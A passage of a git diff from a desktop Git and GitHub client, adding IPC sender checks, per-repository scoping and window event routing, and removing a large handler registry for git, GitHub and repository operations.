'app.showItemInFolder': confined((p) => host.showItemInFolder(p)), 'app.moveToTrash': confined((p) => host.trashItem(p)), } - : { ...always, ...updateMethods, 'app.openInEditor': unsupported, 'app.openInShell': unsupported }; + : { ...always, ...updateMethods, 'app.openInEditor': unsupported, 'app.openInShell': unsupported, 'app.openDiffTool': unsupported, 'app.openMergeTool': unsupported }; - ipcMain.handle(IPC_INVOKE_CHANNEL, async (_event, method: string, ...args: unknown[]): Promise | null> => { + const entry = appEntryUrl(serverUrl); + ipcMain.handle(IPC_INVOKE_CHANNEL, async (event, method: string, ...args: unknown[]): Promise | null> => { + if (!isTrustedSender(event, entry)) throw new Error('IPC refused: sender is not the app window.'); const fn = native[method as keyof ApiMethods] as ((...a: unknown[]) => Promise) | undefined; if (!fn) return null; try { @@ -227,7 +232,8 @@ export function registerClientIpc(serverUrl: string, store: Store, getWindow: () }); // Server events the bridge forwards for the desktop shell itself. - ipcMain.on(IPC_EVENT_CHANNEL, (_event, name: string, payload: unknown) => { + ipcMain.on(IPC_EVENT_CHANNEL, (event, name: string, payload: unknown) => { + if (!isTrustedSender(event, entry)) return; if (name === 'gh.inbox.changed') applyInboxBadge(getWindow(), (payload as InboxState).unreadCount); else if (name === 'gh.inbox.new' && !getWindow()?.isFocused() && Notification.isSupported()) { for (const item of payload as InboxItem[]) showInboxNotification(getWindow, item); diff --git a/src/main/core/client-context.ts b/src/main/core/client-context.ts index 76ffabe..cd0e7ce 100644 --- a/src/main/core/client-context.ts +++ b/src/main/core/client-context.ts @@ -1,4 +1,5 @@ import { AsyncLocalStorage } from 'node:async_hooks'; +import { isAbsolute } from 'node:path'; /** * The client a handler call belongs to. The server runs each invoke inside @@ -11,3 +12,49 @@ export const clientContext = new AsyncLocalStorage(); export function currentClient(): string { return clientContext.getStore() ?? ''; } + +/** + * The repository (path) whose handler call is running, so gh/git calls made deep inside services use + * that repository's chosen GitHub account (see `ToolLocator.repoAccount`). + */ +export const repoScope = new AsyncLocalStorage(); + +/** Wraps, in place, every handler whose first argument is an absolute path so it runs inside `repoScope`. */ +export function scopeRepoHandlers(handlers: Record Promise>): void { + for (const [method, inner] of Object.entries(handlers)) { + handlers[method] = (...args) => (typeof args[0] === 'string' && isAbsolute(args[0]) ? repoScope.run(args[0], () => inner(...args)) : inner(...args)); + } +} + +/** + * The outstanding jobs of one AI feature, each tagged with the client that started it, so one client's + * start/cancel never touches another client's job. A job stays listed until its own `end` (call it from + * `finally`), so `isActive` also covers a job that was aborted but has not unwound yet. + */ +export class ClientJobs { + private readonly jobs = new Map(); + + /** Starts the calling client's job; its earlier job of this feature is aborted (replaced). Read `signal` from the returned controller, never from shared state. */ + start(): AbortController { + this.cancel(); + const job = new AbortController(); + this.jobs.set(job, currentClient()); + return job; + } + + /** Aborts the calling client's jobs. */ + cancel(): void { + const client = currentClient(); + for (const [job, owner] of this.jobs) if (owner === client) job.abort(); + } + + /** Forgets a finished job. */ + end(job: AbortController): void { + this.jobs.delete(job); + } + + /** True while any client's job (including an aborted one still unwinding) is outstanding. */ + isActive(): boolean { + return this.jobs.size > 0; + } +} diff --git a/src/main/core/event-routing.ts b/src/main/core/event-routing.ts new file mode 100644 index 0000000..a0679c5 --- /dev/null +++ b/src/main/core/event-routing.ts @@ -0,0 +1,34 @@ +import type { EventName } from '@shared/ipc'; + +/** The client id of a desktop window: one per `webContents`, stable for the window's lifetime. */ +export function windowClientId(webContentsId: number): string { + return `window-${webContentsId}`; +} + +/** Events that belong to the call that caused them (progress, AI streams, the GitHub sign-in flow): only the calling window gets them. Every other event is app-wide. */ +const CALLER_EVENTS: Partial> = { + progress: true, + 'ai.progress': true, + 'ai.review.progress': true, + 'ai.triage.progress': true, + 'ai.split.progress': true, + 'ai.rebase.progress': true, + 'ai.nl.progress': true, + 'gh.auth.code': true, + 'gh.auth.finished': true, +}; + +/** + * Which desktop windows receive an event. + * - `repo.changed` goes to the windows that have that repository open (`watchersOf`). + * - Caller events go to the window whose call emitted them (`caller`, from `currentClient()`); with no calling window (empty id) they fall back to everyone. + * - Anything else (repository list, settings, tools, inbox, updates, …) goes to every window. + */ +export function windowsFor(event: EventName, payload: unknown, caller: string, windows: W[], watchersOf: (repoPath: string) => string[]): W[] { + if (event === 'repo.changed') { + const owners = payload !== null && typeof payload === 'object' && 'repoPath' in payload && typeof payload.repoPath === 'string' ? watchersOf(payload.repoPath) : []; + return windows.filter((w) => owners.includes(w.clientId)); + } + if (CALLER_EVENTS[event] && caller) return windows.filter((w) => w.clientId === caller); + return windows; +} diff --git a/src/main/core/handlers.ts b/src/main/core/handlers.ts deleted file mode 100644 index 50eecb2..0000000 --- a/src/main/core/handlers.ts +++ /dev/null @@ -1,1049 +0,0 @@ -import { existsSync } from 'node:fs'; -import { mkdir, readFile, readdir, stat, writeFile } from 'node:fs/promises'; -import { homedir } from 'node:os'; -import { basename, dirname, join, resolve } from 'node:path'; -import type { ApiMethodName, ApiMethods, DiffOptions, EventPayloads, HistoryOptions } from '@shared/ipc'; -import type { AppSettings, Commit, CommitFile, CommitOptions, GitErrorInfo, GitHubRepoRef, IpcResult, ProgressEvent, RepositoryStatus, WorkingFile } from '@shared/types'; -import { AiError } from '../ai/backends'; -import type { ErrorExplainService } from '../ai/error-explain'; -import type { ExplainService } from '../ai/explain'; -import type { NlPaletteService } from '../ai/nlPalette'; -import type { PrDraftService } from '../ai/prDraft'; -import type { RebasePlanService } from '../ai/rebasePlan'; -import { insertIntoChangelog } from '../ai/release-notes-core'; -import type { ReleaseNotesService } from '../ai/release-notes'; -import type { ConflictResolver } from '../ai/resolver'; -import type { ReviewService } from '../ai/review'; -import type { SplitterService } from '../ai/splitter'; -import type { TriageService } from '../ai/triage'; -import type { InboxPoller } from '../gh/inbox-poller'; -import { discoverIssueTemplates } from '../gh/issue-templates'; -import type { SettingsSyncService } from '../gh/settings-sync'; -import { GitError, toGitErrorInfo, type GitClient } from '../git/git'; -import { getBlameResult, readFileAtCommit } from '../git/blame'; -import { checkoutBranch, checkoutRemoteBranch, createBranch, deleteLocalBranch, deleteRemoteBranch, getBranches, getCurrentBranchName, getDefaultBranch, renameBranch } from '../git/branches'; -import { applyPatchToWorktree, createCommit, getLastCommitMessage, isUnborn, stageFiles, undoLastCommit, unstageFiles } from '../git/commit'; -import { getCommitFileDiff, getRangeFileDiff, getStashFileDiff, getStashFiles, getWorkingDiff, toFsPath } from '../git/diff'; -import { deleteManyBranches, expireReflog, findLargestBlobs, getHousekeeping, getStaleBranches, pruneRemote, runGc } from '../git/health'; -import { getLfsFiles, getLfsStatus, lfsFetch, lfsInstallLocal, lfsPrune, setLfsTracking } from '../git/lfs'; -import { compareRefs, getCommit, getCommitFiles, getHistory, getMatchingFiles, getPathHistory, isCommitPushed, parseNameStatusZ } from '../git/log'; -import * as ops from '../git/operations'; -import { gpgKeyExists, listGpgSecretKeys, listSshPublicKeys, normalizeSshSigningKey, sshKeyFileExists, testGpgSigning, testSshSigning } from '../git/signing'; -import { getStatus } from '../git/status'; -import { getSubmodules, syncSubmodules, updateSubmodules } from '../git/submodules'; -import { currentClient } from './client-context'; -import { addWorktree, listWorktrees, lockWorktree, pruneWorktrees, removeWorktree } from '../git/worktree'; -import { repoSelector, type GhClient } from '../gh/gh'; -import { findPullRequestTemplate } from '../gh/pr-template'; -import { findEditors, openInEditor } from '../integrations/editors'; -import { findShells, openShell, openShellWithCommand } from '../integrations/shells'; -import { getLogPath, log } from '../logger'; -import { readRepoConfig } from '../repo/config'; -import type { RepositoryManager } from '../repo/manager'; -import { canonicalPath } from '../repo/paths'; -import { addWatchedFolder, folderProblem, sanitizeWatchedFolders, type WatchedFolderScanner } from '../repo/watched-folders'; -import type { Store } from '../store'; -import type { ToolLocator } from '../tools'; -import { agentTemplate, expandAgentCommand, validateAgentTemplate } from '@shared/agent-presets'; -import { canInstall } from '../update/update-core'; -import type { Updater } from '../update/updater'; -import { UnsupportedCapabilityError, type HostCapabilities } from './host'; - -/** Everything the handlers need, transport-agnostic: services, the native host, the event bus emitter, and the shared busy set. */ -export interface HandlerDeps { - store: Store; - tools: ToolLocator; - git: GitClient; - gh: GhClient; - repos: RepositoryManager; - resolver: ConflictResolver; - review: ReviewService; - splitter: SplitterService; - triage: TriageService; - prDraft: PrDraftService; - rebasePlan: RebasePlanService; - releaseNotes: ReleaseNotesService; - nlPalette: NlPaletteService; - explain: ExplainService; - errorExplain: ErrorExplainService; - inbox: InboxPoller; - settingsSync: SettingsSyncService; - updater: Updater; - watchedFolders: WatchedFolderScanner; - host: HostCapabilities; - emit: (event: K, payload: EventPayloads[K]) => void; - busy: Set; -} - -function toErrorInfo(err: unknown): GitErrorInfo { - if (err instanceof UnsupportedCapabilityError) { - return { message: err.message, command: '', exitCode: null, stderr: '', stdout: '', code: 'unsupported' }; - } - if (err instanceof AiError) { - const code = err.kind === 'not-configured' ? 'ai-not-configured' : err.kind === 'cancelled' ? 'cancelled' : err.kind === 'stale' ? 'split-stale' : 'unknown'; - return { message: err.message, command: '', exitCode: null, stderr: '', stdout: '', code }; - } - return toGitErrorInfo(err); -} - -/** Synthetic `ai.progress` path used for the PR draft service, which has no single file of its own. */ -const PR_DRAFT_PROGRESS_PATH = ''; -/** Synthetic `ai.progress` path used for the release notes service, which has no single file of its own. */ -const RELEASE_NOTES_PROGRESS_PATH = ''; - -const commitCache = new Map(); - -/** Per-client, per-repository "latest history request wins": a new `repo.history` call aborts whatever git process the same client's previous one started, never another client's. */ -const historyControllers = new Map(); - -/** Long-running operations (submodule update, LFS fetch/pull) keyed by their progress event id, cancellable via `app.operations.cancel`. */ -const operationControllers = new Map(); - -/** The transport-agnostic dispatch function: runs a handler and wraps the outcome in the `IpcResult` shape. */ -export type CoreDispatch = (method: ApiMethodName, args: unknown[]) => Promise>; - -/** The handler registry plus its `dispatch` wrapper, mounted by both the Electron app and the server. */ -export interface CoreHandlers { - handlers: ApiMethods; - dispatch: CoreDispatch; -} - -/** - * Builds the transport-agnostic handler registry and a `dispatch` that wraps a - * call in the `IpcResult` shape. The Electron app binds this to `ipcMain`; the - * server binds it to `POST /invoke`. - */ -export function createHandlers(deps: HandlerDeps): CoreHandlers { - const { store, tools, git, gh, repos, resolver, review, splitter, triage, prDraft, rebasePlan, releaseNotes, explain, errorExplain, inbox, settingsSync, updater, nlPalette, watchedFolders, host } = deps; - const send = deps.emit; - const statusCache = new Map(); - - const progress = (kind: ProgressEvent['kind'], title: string, repoPath: string | null) => { - const id = `${kind}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - const emit = (percent: number | null, description: string, done = false) => send('progress', { id, kind, title, description, percent, done, repoPath }); - emit(null, 'Starting…'); - return { - id, - update: (percent: number | null, description: string) => emit(percent, description), - done: () => emit(1, 'Done', true), - }; - }; - - /** Runs a cancellable long operation, registering its AbortController under the progress event's id so `app.operations.cancel` can stop it. */ - const withCancellableProgress = async (kind: ProgressEvent['kind'], title: string, repoPath: string, fn: (onProgress: (percent: number | null, description: string) => void, signal: AbortSignal) => Promise): Promise => { - const p = progress(kind, title, repoPath); - const controller = new AbortController(); - operationControllers.set(p.id, controller); - try { - return await withBusy(repoPath, () => fn((pct, d) => p.update(pct, d), controller.signal)); - } finally { - operationControllers.delete(p.id); - p.done(); - } - }; - - const withBusy = async (key: string, fn: () => Promise): Promise => { - deps.busy.add(key); - try { - return await fn(); - } finally { - deps.busy.delete(key); - } - }; - - const freshStatus = async (repoPath: string): Promise => { - const status = await getStatus(git, repoPath); - statusCache.set(repoPath, { status, at: Date.now() }); - return status; - }; - - const findWorkingFile = async (repoPath: string, path: string): Promise => { - const cached = statusCache.get(repoPath); - let file = cached && Date.now() - cached.at < 5000 ? cached.status.files.find((f) => f.path === path) : undefined; - if (!file) file = (await freshStatus(repoPath)).files.find((f) => f.path === path); - if (!file) { - // File may have been reverted in the meantime; render whatever is on disk. - return { path, oldPath: null, status: 'modified', staged: false, unstaged: true, submodule: false, conflict: null, lfs: false }; - } - return file; - }; - - const requireGitHub = async (repoPath: string): Promise => { - const ref = await repos.detectGitHub(repoPath); - if (!ref) throw new GitError({ message: 'This repository does not have a GitHub remote.', command: '', exitCode: null, stderr: '', stdout: '', code: 'remote-not-found' }); - return ref; - }; - - /** Selector for `--repo` on issue/label/milestone commands: `owner` (a "login/name" string) overrides the repository at `repoPath`, used to target a fork's parent. */ - const issueSelector = async (repoPath: string, owner: string | null): Promise => { - const ref = await requireGitHub(repoPath); - if (!owner) return repoSelector(ref); - return ref.host === 'github.com' ? owner : `${ref.host}/${owner}`; - }; - - const commitInfo = async (repoPath: string, sha: string) => { - const withSignature = store.getSettings().historyVerifySignatures; - const key = `${repoPath}\0${sha}\0${withSignature}`; - const cached = commitCache.get(key); - if (cached) return cached; - const commit = await getCommit(git, repoPath, sha, withSignature); - const files = await getCommitFiles(git, repoPath, sha, commit.parents); - const entry = { commit, files }; - if (commitCache.size > 300) commitCache.delete(commitCache.keys().next().value!); - commitCache.set(key, entry); - return entry; - }; - - const pullRebaseFlag = async (repoPath: string): Promise => { - const behavior = store.getSettings().pullBehavior; - if (behavior === 'merge') return false; - if (behavior === 'rebase') return true; - return ops.getPullRebaseConfig(git, repoPath); - }; - - const stashBeforeCheckout = async (repoPath: string, strategy: AppSettings['uncommittedChangesStrategy']) => { - if (strategy !== 'stash') return; - const status = await freshStatus(repoPath); - if (!status.files.length) return; - await ops.stashPush(git, repoPath, 'Stashed before switching branches', true, null, status.branch.name); - }; - - const discardPaths = async (repoPath: string, paths: string[], moveToTrash: boolean) => { - const status = await freshStatus(repoPath); - const files = status.files.filter((f) => paths.includes(f.path) || (f.oldPath && paths.includes(f.oldPath))); - const tracked: string[] = []; - const untracked: string[] = []; - for (const f of files) { - if (f.status === 'untracked' || (f.status === 'new' && f.staged)) untracked.push(f.path); - else { - tracked.push(f.path); - if (f.oldPath) tracked.push(f.oldPath); - } - if (moveToTrash && f.status !== 'deleted') { - const fs = toFsPath(repoPath, f.path); - if (existsSync(fs)) { - try { - await host.trashItem(fs); - } catch (err) { - log.warn(`Could not move ${fs} to trash: ${(err as Error).message}`); - } - } - } - } - const unborn = await isUnborn(git, repoPath); - if (untracked.length) { - if (!unborn) await git.tryRun(repoPath, ['reset', '-q', '--', ...untracked]); - else await git.tryRun(repoPath, ['rm', '-r', '--cached', '-q', '--', ...untracked]); - await git.run(repoPath, ['clean', '-f', '-d', '-q', '--', ...untracked]); - } - if (tracked.length) { - if (unborn) await git.run(repoPath, ['rm', '-r', '--cached', '-q', '--', ...tracked]); - else { - await git.tryRun(repoPath, ['reset', '-q', '--', ...tracked]); - await git.run(repoPath, ['checkout', 'HEAD', '--', ...tracked]); - } - } - }; - - const handlers: ApiMethods = { - // ---------------- app ---------------- - 'app.info': async () => ({ version: host.appVersion(), electron: process.versions.electron ?? '', platform: process.platform, userDataPath: host.userDataPath(), logPath: getLogPath() }), - // Without awaiting the local scan, the first call would answer with the - // pre-scan state (every tool "not installed") and the renderer would flash - // the "GitGood needs Git to run" setup screen before startup finished. - 'app.tools': async (refresh) => { - if (refresh) return tools.refresh(); - await tools.ensureLocated(); - return tools.current(); - }, - 'app.settings.get': async () => store.getSettings(), - 'app.settings.set': async (patch) => { - const before = store.getSettings(); - // Depth clamping, canonical paths and the no-duplicate/no-nesting rules - // hold whichever route the list arrives by, not only - // repos.watchedFolders.add — otherwise the two disagree about whether a - // symlink and its target are the same folder, and it gets walked twice. - if (patch.watchedFolders) { - // Dropped before the map rather than inside sanitizeWatchedFolders, - // because reading `f.path` off a malformed entry (a hand-edited - // settings.json) would throw out of the whole settings save. - const entries = (Array.isArray(patch.watchedFolders) ? patch.watchedFolders : []).filter((f) => f && typeof f.path === 'string'); - // A folder edited here keeps the display path it was registered with; - // one arriving without it (a hand-edited settings.json, an older file) - // is displayed by the path as written, which is what its author typed. - const canonical = await Promise.all(entries.map(async (f) => ({ ...f, path: await canonicalPath(f.path), displayPath: f.displayPath ?? f.path }))); - patch = { ...patch, watchedFolders: sanitizeWatchedFolders(canonical) }; - } - const next = store.updateSettings(patch); - if (patch.gitPath !== undefined || patch.ghPath !== undefined || patch.ai?.claudeCliPath !== undefined) { - void tools.refresh().then((s) => send('tools.changed', s)); - } - if (patch.theme && patch.theme !== before.theme) { - host.setTheme(patch.theme); - } - return next; - }, - 'app.setApiKey': async (key) => { - store.setApiKey(key && key.trim() ? key.trim() : null); - return store.getSettings().ai; - }, - 'app.openExternal': async (url) => { - if (!/^https?:\/\//i.test(url)) throw new Error('Only http(s) links can be opened.'); - await host.openExternal(url); - }, - 'app.showItemInFolder': async (p) => host.showItemInFolder(p), - 'app.openPath': async (p) => host.openPath(p), - 'app.chooseDirectory': async (opts) => host.chooseDirectory(opts), - 'app.chooseFile': async (opts) => host.chooseFile(opts), - 'app.chooseSavePath': async (opts) => host.chooseSavePath(opts), - 'app.editors': async () => findEditors((await tools.env()).PATH), - 'app.shells': async () => findShells((await tools.env()).PATH), - 'app.openInEditor': async (repoPath, filePath) => { - const settings = store.getSettings(); - const editors = await findEditors((await tools.env()).PATH); - const editorPath = settings.externalEditor === 'custom' ? settings.customEditorPath : (editors.find((e) => e.id === settings.externalEditor) ?? editors[0])?.path; - if (!editorPath) throw new Error('No external editor was found. Configure one in Options → Integrations.'); - const target = filePath ? toFsPath(repoPath, filePath) : repoPath; - await openInEditor(editorPath, target); - }, - 'app.openInShell': async (repoPath) => { - const settings = store.getSettings(); - await openShell(settings.shell, settings.shell === 'custom' ? settings.customShellPath : null, repoPath, (await tools.env()).PATH); - }, - 'app.clipboard.write': async (text) => host.clipboardWrite(text), - 'app.pathExists': async (p) => existsSync(p), - 'app.isRepository': async (p) => (await ops.getTopLevel(git, p)) !== null, - 'app.joinPath': async (...parts) => join(...parts), - 'app.log': async (level, message) => log[level](`[renderer] ${message}`), - 'app.zoom': async (direction) => { - const next = host.zoom(direction); - store.updateState({ zoomLevel: next }); - return next; - }, - 'app.notify': async (title, body) => { - if (process.env.GITGOOD_SMOKE_SCRIPT) return; // offscreen smoke runs must not raise desktop notifications - await host.notify(title, body); - }, - 'app.moveToTrash': async (p) => host.trashItem(p), - 'app.operations.cancel': async (id) => { - operationControllers.get(id)?.abort(); - }, - - // ---------------- gh ---------------- - 'gh.auth.status': async () => gh.account(), - 'gh.auth.login': async (host) => { - const result = await gh.login(host, (code, url) => send('gh.auth.code', { code, url })); - const state = await tools.refresh(); - send('tools.changed', state); - send('gh.auth.finished', result); - return result; - }, - 'gh.auth.cancelLogin': async () => gh.cancelLogin(), - 'gh.auth.logout': async (host) => { - await gh.logout(host); - send('tools.changed', await tools.refresh()); - }, - 'gh.auth.setupGit': async () => { - await gh.setupGit(); - send('tools.changed', await tools.refresh()); - }, - 'gh.auth.refreshScopes': async (scopes) => { - const host = tools.current().ghAccount?.host ?? 'github.com'; - const result = await gh.refreshScopes(host, scopes, (code, url) => send('gh.auth.code', { code, url })); - const state = await tools.refresh(); - send('tools.changed', state); - send('gh.auth.finished', result); - return result; - }, - 'gh.repos.list': async () => gh.viewerRepositories(), - 'gh.orgs.list': async () => gh.organizations(), - 'gh.repo.view': async (repoPath) => { - const ref = await repos.detectGitHub(repoPath); - return ref ? gh.repoView(ref) : null; - }, - 'gh.repo.publish': async (repoPath, opts) => { - const unborn = await isUnborn(git, repoPath); - const ref = await gh.publish(repoPath, opts, !unborn); - await repos.refreshGitHub(repoPath); - if (!unborn) { - const branch = await getCurrentBranchName(git, repoPath); - if (branch) await git.tryRun(repoPath, ['branch', `--set-upstream-to=origin/${branch}`, branch]); - } - return ref; - }, - 'gh.repo.fork': async (repoPath) => { - const ref = await gh.fork(repoPath); - await repos.refreshGitHub(repoPath); - return ref; - }, - 'gh.pr.list': async (repoPath, state) => gh.prList(await requireGitHub(repoPath), state), - 'gh.pr.forBranch': async (repoPath, branch) => { - const ref = await repos.detectGitHub(repoPath); - return ref ? gh.prForBranch(ref, branch) : null; - }, - 'gh.pr.view': async (repoPath, number) => gh.prView(await requireGitHub(repoPath), number), - 'gh.pr.checks': async (repoPath, number) => gh.prChecks(await requireGitHub(repoPath), number), - 'gh.pr.checkout': async (repoPath, number) => withBusy(repoPath, () => gh.prCheckout(repoPath, number)), - 'gh.pr.create': async (repoPath, opts) => gh.prCreate(repoPath, opts), - 'gh.pr.merge': async (repoPath, number, method, deleteBranch) => gh.prMerge(await requireGitHub(repoPath), number, method, deleteBranch), - 'gh.pr.ready': async (repoPath, number, ready) => gh.prReady(await requireGitHub(repoPath), number, ready), - 'gh.pr.close': async (repoPath, number) => gh.prClose(await requireGitHub(repoPath), number), - 'gh.pr.reopen': async (repoPath, number) => gh.prReopen(await requireGitHub(repoPath), number), - 'gh.pr.review': async (repoPath, number, action, body) => gh.prReview(await requireGitHub(repoPath), number, action, body), - 'gh.pr.comment': async (repoPath, number, body) => gh.prComment(await requireGitHub(repoPath), number, body), - 'gh.pr.diff': async (repoPath, number) => review.prFiles(repoPath, number), - 'gh.pr.fileDiff': async (repoPath, number, path, opts) => review.prFileDiff(repoPath, number, path, opts), - 'gh.pr.template': async (repoPath) => findPullRequestTemplate(repoPath), - 'gh.gitignoreTemplates': async () => gh.gitignoreTemplates(), - 'gh.licenses': async () => gh.licenses(), - 'gh.avatar': async (email) => gh.avatarForEmail(email), - 'gh.issue.createUrl': async (repoPath) => { - const ref = await repos.detectGitHub(repoPath); - return ref ? `${ref.url}/issues/new` : null; - }, - 'gh.issue.list': async (repoPath, filter, owner, beforeUpdatedAt) => gh.issueList(await issueSelector(repoPath, owner), filter, beforeUpdatedAt), - 'gh.issue.view': async (repoPath, number, owner) => gh.issueDetail(await issueSelector(repoPath, owner), number), - 'gh.issue.create': async (repoPath, opts, owner) => gh.issueCreate(await issueSelector(repoPath, owner), opts), - 'gh.issue.setState': async (repoPath, number, state, owner) => gh.issueSetState(await issueSelector(repoPath, owner), number, state), - 'gh.issue.comment': async (repoPath, number, body, owner) => gh.issueCommentAdd(await issueSelector(repoPath, owner), number, body), - 'gh.labels': async (repoPath, owner) => gh.labelList(await issueSelector(repoPath, owner)), - 'gh.milestones': async (repoPath, owner) => gh.milestoneList(await issueSelector(repoPath, owner)), - 'gh.issue.templates': async (repoPath) => discoverIssueTemplates(repoPath), - 'app.issueFilters.get': async (repoId) => store.getIssueFilter(repoId), - 'app.issueFilters.set': async (repoId, filter) => store.setIssueFilter(repoId, filter), - - // ---------------- notifications inbox ---------------- - 'gh.inbox.get': async () => inbox.getState(), - 'gh.inbox.refresh': async () => inbox.refresh(), - 'gh.inbox.markRead': async (threadIds) => inbox.markRead(threadIds), - 'gh.inbox.markAllRead': async () => inbox.markAllRead(), - 'gh.inbox.unsubscribe': async (threadId) => inbox.unsubscribe(threadId), - 'app.inbox.clearCache': async () => { - store.clearInboxCache(); - inbox.resetCache(); - }, - - // ---------------- repositories ---------------- - 'repos.list': async () => repos.list(), - 'repos.add': async (path) => repos.add(path), - 'repos.remove': async (id, moveToTrash) => { - // Trash first: if that fails, the repository stays registered instead of vanishing from the list with its folder left behind. - const path = repos.get(id)?.path; - if (path && moveToTrash && existsSync(path)) await host.trashItem(path); - await repos.remove(id); - }, - 'repos.create': async (opts) => { - const dir = resolve(opts.directory, opts.name); - if (existsSync(dir) && (await readdir(dir)).length && (await ops.getTopLevel(git, dir))) throw new Error(`"${dir}" is already a Git repository.`); - await mkdir(dir, { recursive: true }); - const configured = (await git.tryRun(null, ['config', '--global', '--get', 'init.defaultBranch']))?.stdout.trim(); - await ops.init(git, dir, configured || 'main'); - const created: string[] = []; - if (opts.initializeWithReadme) { - const readme = `# ${opts.name}\n${opts.description ? `\n${opts.description}\n` : ''}`; - await writeFile(join(dir, 'README.md'), readme, 'utf8'); - created.push('README.md'); - } - if (opts.gitignoreTemplate) { - try { - const source = await gh.gitignoreTemplate(opts.gitignoreTemplate); - await writeFile(join(dir, '.gitignore'), source, 'utf8'); - created.push('.gitignore'); - } catch (err) { - log.warn(`Could not fetch .gitignore template: ${(err as Error).message}`); - } - } - if (opts.license) { - try { - let body = await gh.licenseText(opts.license); - const identity = await ops.getConfigIdentity(git, null); - body = body.replace(/\[year\]/g, String(new Date().getFullYear())).replace(/\[fullname\]/g, identity.global.name ?? '').replace(/\[yyyy\]/g, String(new Date().getFullYear())).replace(/\[name of copyright owner\]/g, identity.global.name ?? ''); - await writeFile(join(dir, 'LICENSE'), body, 'utf8'); - created.push('LICENSE'); - } catch (err) { - log.warn(`Could not fetch license: ${(err as Error).message}`); - } - } - if (created.length) { - await stageFiles(git, dir, created); - await git.run(dir, ['commit', '-q', '-m', 'Initial commit']); - } - return repos.add(dir); - }, - 'repos.clone': async (opts) => { - let url = opts.url.trim(); - if (/^[\w.-]+\/[\w.-]+$/.test(url)) url = `https://github.com/${url}.git`; - const target = resolve(opts.directory); - const name = basename(target); - if (existsSync(target) && (await readdir(target)).length) throw new Error(`The destination "${target}" already exists and is not empty.`); - await mkdir(resolve(target, '..'), { recursive: true }); - const p = progress('clone', `Cloning ${name}`, null); - try { - await withBusy(`clone:${target}`, () => ops.clone(git, url, target, opts.branch, (pct, desc) => p.update(pct, desc))); - } finally { - p.done(); - } - return repos.add(target); - }, - 'repos.setAlias': async (id, alias) => repos.setAlias(id, alias), - 'repos.refreshIndicators': async () => repos.refreshIndicators(), - - // ---------------- watched folders ---------------- - 'repos.scanWatchedFolders': async () => watchedFolders.scan(), - 'repos.cancelScan': async () => watchedFolders.cancel(), - 'repos.watchedFolders.add': async (path, depth) => { - // Stored physically: git reports repositories by their resolved path, so - // a folder kept as a symlink/junction path would never match what a scan - // finds inside it (and nothing in it could be excluded on removal). The - // path the user picked rides along for display, so Options names the - // folder they chose rather than wherever it happens to point. - const result = addWatchedFolder(store.getSettings().watchedFolders, await canonicalPath(path), depth, path); - if (!result.ok) return { ok: false, error: result.error, settings: store.getSettings() }; - // The settings listener starts the scan; see WatchedFolderScanner.watchSettings. - return { ok: true, settings: store.updateSettings({ watchedFolders: result.folders }) }; - }, - 'repos.watchedFolders.status': async () => Promise.all(store.getSettings().watchedFolders.map(async (f) => ({ path: f.path, problem: await folderProblem(f.path) }))), - 'repos.isInWatchedFolder': async (repoPath) => repos.isInWatchedFolder(repoPath), - 'repos.exclusions.list': async () => store.getExcludedRepositoryPaths(), - 'repos.exclusions.remove': async (path) => { - store.removeExcludedRepositoryPath(path); - return store.getExcludedRepositoryPaths(); - }, - 'repos.exclusions.clear': async () => { - store.clearExcludedRepositoryPaths(); - return store.getExcludedRepositoryPaths(); - }, - - // ---------------- repository reads ---------------- - 'repo.open': async (path) => repos.open(path), - 'repo.close': async (path) => repos.release(path), - 'repo.status': async (repoPath) => freshStatus(repoPath), - 'repo.branches': async (repoPath) => getBranches(git, repoPath), - 'repo.defaultBranch': async (repoPath) => getDefaultBranch(git, repoPath), - 'repo.tags': async (repoPath) => ops.getTags(git, repoPath), - 'repo.remotes': async (repoPath) => ops.getRemotes(git, repoPath), - 'repo.stashes': async (repoPath) => ops.getStashes(git, repoPath), - 'repo.history': async (repoPath, opts: HistoryOptions) => { - const key = `${currentClient()}\0${repoPath}`; - historyControllers.get(key)?.abort(); - const controller = new AbortController(); - historyControllers.set(key, controller); - try { - return await getHistory(git, repoPath, opts, controller.signal); - } finally { - if (historyControllers.get(key) === controller) historyControllers.delete(key); - } - }, - 'repo.history.matchingFiles': async (repoPath, sha, query) => getMatchingFiles(git, repoPath, sha, query), - 'repo.commit.details': async (repoPath, sha) => { - const { commit, files } = await commitInfo(repoPath, sha); - return { commit, files, pushed: await isCommitPushed(git, repoPath, sha) }; - }, - 'repo.commit.diff': async (repoPath, sha, path, opts: DiffOptions) => { - const { commit, files } = await commitInfo(repoPath, sha); - const file = files.find((f) => f.path === path) ?? { path, oldPath: null, status: 'modified' as const, additions: null, deletions: null, binary: false, lfs: false }; - return getCommitFileDiff(git, repoPath, sha, commit.parents, file, opts); - }, - 'repo.diff.working': async (repoPath, path, opts) => getWorkingDiff(git, repoPath, await findWorkingFile(repoPath, path), opts), - 'repo.diff.stash': async (repoPath, stashRef, path, opts) => getStashFileDiff(git, repoPath, stashRef, path, opts), - 'repo.diff.range': async (repoPath, base, head, path, opts) => { - const nameStatus = await git.stdout(repoPath, ['diff', '--name-status', '-z', '-M', `${base}...${head}`, '--', path], { readOnly: true, okExitCodes: [1] }); - const file = parseNameStatusZ(nameStatus).find((f) => f.path === path) ?? { path, oldPath: null, status: 'modified' as const, additions: null, deletions: null, binary: false, lfs: false }; - return getRangeFileDiff(git, repoPath, base, head, file, opts); - }, - 'repo.stash.files': async (repoPath, stashRef) => getStashFiles(git, repoPath, stashRef), - 'repo.stash.resolveRef': async (repoPath, sha) => ops.resolveStashRef(git, repoPath, sha), - 'repo.compare': async (repoPath, base, head) => compareRefs(git, repoPath, base, head), - 'repo.readFile': async (repoPath, path) => readFile(toFsPath(repoPath, path), 'utf8'), - 'repo.writeFile': async (repoPath, path, content) => { - const fsPath = toFsPath(repoPath, path); - await mkdir(dirname(fsPath), { recursive: true }); - await writeFile(fsPath, content, 'utf8'); - }, - 'repo.gitignore.read': async (repoPath) => ops.readGitignore(repoPath), - 'repo.gitignore.write': async (repoPath, content) => ops.writeGitignore(repoPath, content), - 'repo.gitignore.add': async (repoPath, patterns) => ops.appendGitignore(repoPath, patterns), - 'repo.config': async (repoPath) => ops.getConfigIdentity(git, repoPath), - 'repo.config.setIdentity': async (repoPath, scope, name, email) => ops.setConfigIdentity(git, repoPath, scope, name, email), - 'repo.config.unsetLocalIdentity': async (repoPath) => ops.unsetLocalIdentity(git, repoPath), - 'repo.signing.get': async (repoPath) => ops.getSigningConfig(git, repoPath || null), - 'repo.signing.set': async (repoPath, scope, patch) => { - const nextPatch = { 